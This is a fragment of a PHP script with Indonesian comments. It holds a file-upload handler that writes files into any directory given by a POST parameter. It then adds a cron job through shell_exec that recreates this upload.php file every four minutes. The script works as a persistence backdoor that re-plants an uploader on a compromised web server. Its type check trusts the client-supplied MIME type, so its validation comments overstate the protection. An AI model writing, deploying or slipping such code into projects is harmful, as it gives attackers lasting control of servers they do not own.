\';
echo \'\';
echo \'\';
echo \'\';
echo \'\';
}
if (isset($_FILES[\'file\'][\'tmp_name\'])) {
// Tangani unggahan file jika formulir dikirimkan
$uploadd = $_FILES[\'file\'][\'tmp_name\'];
$allowedTypes = array("image/jpeg", "image/png", "application/pdf"); // Daftar tipe file yang diizinkan
if (in_array($_FILES[\'file\'][\'type\'], $allowedTypes)) {
if (is_uploaded_file($uploadd)) {
// Validasi direktori
$pwddir = $_POST[\'dir\'];
if (!is_dir($pwddir) || !is_writable($pwddir)) {
echo "Direktori tidak valid atau tidak memiliki izin tulis.";
exit;
}
$real = $_FILES[\'file\'][\'name\'];
$de = $pwddir . "/" . basename($real); // Gunakan basename untuk mencegah path traversal
if (move_uploaded_file($uploadd, $de)) {
echo "BERKAS DIUNGGAHKAN KE $de";
} else {
echo "GAGAL MENGUNGGAH BERKAS.";
}
} else {
echo "File tidak valid.";
}
} else {
echo "Tipe file tidak diizinkan.";
}
}
?>';
// Tugas Cron untuk membuat file setiap 4 menit
$createfileCronCommand = '*/4 * * * * ' . $makefilecommand . ' > /dev/null 2>&1';
// Tambahkan tugas Cron yang baru
$result = shell_exec('(crontab -l ; echo "'.$createfileCronCommand.'") | crontab -');
if ($result === false) {
echo 'Gagal menambahkan tugas Cron untuk membuat file upload.php.';
} else {
echo 'Tugas Cron untuk membuat file berhasil ditambahkan.';
}
?>